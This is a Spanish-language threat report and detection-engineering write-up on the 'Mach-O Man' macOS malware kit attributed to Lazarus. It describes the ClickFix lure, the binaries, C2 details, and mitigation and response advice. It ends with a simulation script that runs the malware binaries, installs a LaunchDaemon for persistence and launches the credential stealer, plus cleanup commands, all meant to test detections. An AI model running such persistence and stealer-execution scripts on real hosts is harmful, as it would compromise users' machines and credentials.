La campaña de Safari de Corea del Norte entrega RATs

Resumen

El artículo describe un nuevo marco de malware para macOS llamado Mach-O Man que ha sido vinculado a la famosa unidad Chollima del Grupo Lazarus. El malware se distribuye a través de cuentas de Telegram comprometidas e invitaciones a reuniones falsas que convencen a los objetivos de ejecutar un comando ClickFix en sus dispositivos. El conjunto de herramientas incluye varios binarios Mach-O diseñados para recopilar detalles del host, mantener la persistencia y robar credenciales y datos del navegador, con la exfiltración ocurriendo a través de Telegram. La campaña parece centrarse en intercambios de criptomonedas y otras organizaciones en el sector financiero.

Investigación

Los investigadores identificaron un binario de puesta en escena llamado teamsSDK.bin que fue descargado y ejecutado a través de una secuencia de comandos maliciosos. Componentes adicionales, incluidos D1yCPUyk.bin, minst2.bin, y macrasv2, fueron usados luego para enumerar el sistema, crear un LaunchAgent para persistencia y cosechar extensiones del navegador, datos del llavero y cookies. La comunicación de comando y control dependía de un servidor HTTP basado en Go que exponía un punto final sin autenticación /info y filtraba un token de API de bot de Telegram. Los investigadores también encontraron servicios de acceso remoto como RDP, WinRM y Chrome Remote Desktop expuestos en el host C2.

Mitigación

Los usuarios deben evitar interactuar con enlaces a reuniones no solicitadas y confirmar la legitimidad de cualquier comando de terminal sugerido durante conversaciones inesperadas. Las organizaciones deben monitorear agentes de lanzamiento no autorizados, requerir firmas de código confiables para binarios de macOS y restringir la ejecución de archivos desconocidos. Las defensas de red deben bloquear conexiones salientes a servidores HTTP basados en Go sospechosos y marcar el tráfico usando el Go-http-client agente de usuario. Los tokens de bot de Telegram deben protegerse de la exposición, y los servicios de escritorio remoto deben ser asegurados con controles de acceso de menor privilegio.

Respuesta

Los equipos de seguridad deben detectar la ejecución de archivos .bin desconocidos y monitorear la creación de LaunchAgents nombrados com.onedrive.launcher. También se deben activar alertas en conexiones salientes a infraestructura sospechosa utilizando el Go-http-client agente de usuario, así como solicitudes POST repetidas a /info puntos finales. Los defensores deben observar actividad inesperada de la API de Telegram vinculada a tokens de bot desconocidos. Se debe realizar una forensía completa del host para identificar y eliminar todos los binarios maliciosos, seguida de restablecimientos de credenciales para cualquier cuenta que pueda haber sido comprometida.

Ejecución de Simulación

Requisito Previo: La Verificación de Telemetría y Línea Base debe haber pasado.

Fundamento: Esta sección detalla la ejecución precisa de la técnica del adversario (T1546.006 / T1587.001) diseñada para desencadenar la regla de detección. Los comandos reflejan un despliegue realista de «vivir de la tierra» de los binarios de Mach-O Man.

• Narrativa de Ataque y Comandos:

  1. Un atacante que ya ha obtenido una posición en el host macOS copia los cuatro binarios de Mach-O Man desde una ubicación de puesta en escena (/tmp/stage) a un directorio grabable (/usr/local/bin).
  2. Los binarios se hacen ejecutables y se lanzan secuencialmente para imitar la inicialización, reconocimiento, persistencia y fases de robo de credenciales del kit.
  3. La persistencia se logra escribiendo un daemon de lanzamiento plist que apunta a minst2.bin.

  # Paso 1 – Preparar los binarios (simulado copiando desde una carpeta de activos de prueba)
  mkdir -p /usr/local/bin/macho
  cp ./assets/teamsSDK.bin /usr/local/bin/macho/
  cp ./assets/D1YrHRTg.bin /usr/local/bin/macho/
  cp ./assets/minst2.bin   /usr/local/bin/macho/
  cp ./assets/macrasv2    /usr/local/bin/macho/
  
  # Paso 2 – Hacerlos ejecutables
  chmod +x /usr/local/bin/macho/*.bin
  
  # Paso 3 – Ejecutar los binarios de puesta en escena y reconocimiento
  /usr/local/bin/macho/teamsSDK.bin &
  /usr/local/bin/macho/D1YrHRTg.bin &
  
  # Paso 4 – Instalar persistencia (daemon de lanzamiento) para minst2.bin
  cat <<'EOF' > /Library/LaunchDaemons/com.macho.minst2.plist
  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  <plist version="1.0">
  <dict>
      <key>Label</key><string>com.macho.minst2</string>
      <key>ProgramArguments</key>
      <array>
          <string>/usr/local/bin/macho/minst2.bin</string>
      </array>
      <key>RunAtLoad</key><true/>
  </dict>
  </plist>
  EOF
  sudo launchctl load -w /Library/LaunchDaemons/com.macho.minst2.plist
  
  # Paso 5 – Ejecutar el componente de robo/exfiltración de credenciales
  /usr/local/bin/macho/macrasv2 &

• Secuencia de Prueba de Regresión: (script bash autónomo que reproduce los pasos anteriores)

  #!/usr/bin/env bash
  set -euo pipefail
  
  # --- VARIABLES -------------------------------------------------
  BIN_DIR="/usr/local/bin/macho"
  ASSET_DIR="$(pwd)/assets"
  PLIST="/Library/LaunchDaemons/com.macho.minst2.plist"
  
  # --- PRE‑CHECK -------------------------------------------------
  if [[ $(id -u) -ne 0 ]]; then
    echo "Script requiere root para instalar el daemon de lanzamiento. Re‑run con sudo."
    exit 1
  fi
  
  # --- DESPLIEGUE DE BINARIOS -------------------------------------------
  mkdir -p "$BIN_DIR"
  for bin in teamsSDK.bin D1YrHRTg.bin minst2.bin macrasv2; do
    cp "$ASSET_DIR/$bin" "$BIN_DIR/$bin"
    chmod +x "$BIN_DIR/$bin"
  done
  
  # --- EJECUTAR STAGER & RECON ------------------------------------
  "$BIN_DIR/teamsSDK.bin" &
  "$BIN_DIR/D1YrHRTg.bin" &
  
  # --- PERSISTENCIA (daemon de lanzamiento) -------------------------------
  cat <<'EOF' > "$PLIST"
  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  <plist version="1.0">
  <dict>
      <key>Label</key><string>com.macho.minst2</string>
      <key>ProgramArguments</key>
      <array>
          <string>/usr/local/bin/macho/minst2.bin</string>
      </array>
      <key>RunAtLoad</key><true/>
  </dict>
  </plist>
  EOF
  launchctl load -w "$PLIST"
  
  # --- EJECUTAR COMPONENTE DE ROBO DE CREDENCIALES -----------------------
  "$BIN_DIR/macrasv2" &
  
  echo "Simulación ejecutada – espere unos segundos para que aparezca la telemetría."

• Comandos de Limpieza:

  #!/usr/bin/env bash
  set -euo pipefail
  
  BIN_DIR="/usr/local/bin/macho"
  PLIST="/Library/LaunchDaemons/com.macho.minst2.plist"
  
  # Descargar daemon de lanzamiento
  if [[ -f "$PLIST" ]]; then
    sudo launchctl unload -w "$PLIST"
    sudo rm -f "$PLIST"
  fi
  
  # Matar cualquier proceso malicioso restante
  pkill -f teamsSDK.bin || true
  pkill -f D1YrHRTg.bin || true
  pkill -f minst2.bin   || true
  pkill -f macrasv2    || true
  
  # Eliminar binarios
  sudo rm -rf "$BIN_DIR"
  
  echo "Limpieza completa."